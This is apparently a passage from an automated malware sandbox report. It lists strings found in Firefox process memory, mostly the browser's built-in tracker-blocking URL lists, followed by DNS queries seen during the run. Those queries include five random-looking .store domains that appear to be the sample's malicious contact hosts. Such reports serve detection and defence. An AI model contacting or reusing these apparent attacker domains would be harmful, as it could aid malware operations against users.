"://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["www.facebook.com","facebook.com"] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["www.youtube.com","youtube.com"] equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF20903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF2090E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2090E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]](' equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF20903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2911908216.000001DF1B061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000024.00000002.2911908216.000001DF1B061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2090E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF20912000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF20912000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]]8& equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: chrome://global/skin/icons/edit-copy.svg.urlbarView-dynamic-unitConversion-output([0-2]?[0-9])(:([0-5][0-9]))?\s([ap]m)?resource:///modules/QuickSuggest.sys.mjs"://www.facebook.com/platform/impression.php*" equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2953297308.000001DF202C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2959294479.000001DF20A74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com- equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.2957011320.000001DF207C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2959294479.000001DF20A93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF20903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF20903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2911908216.000001DF1B05A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 00000024.00000002.2911908216.000001DF1B05A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId:
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2090E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
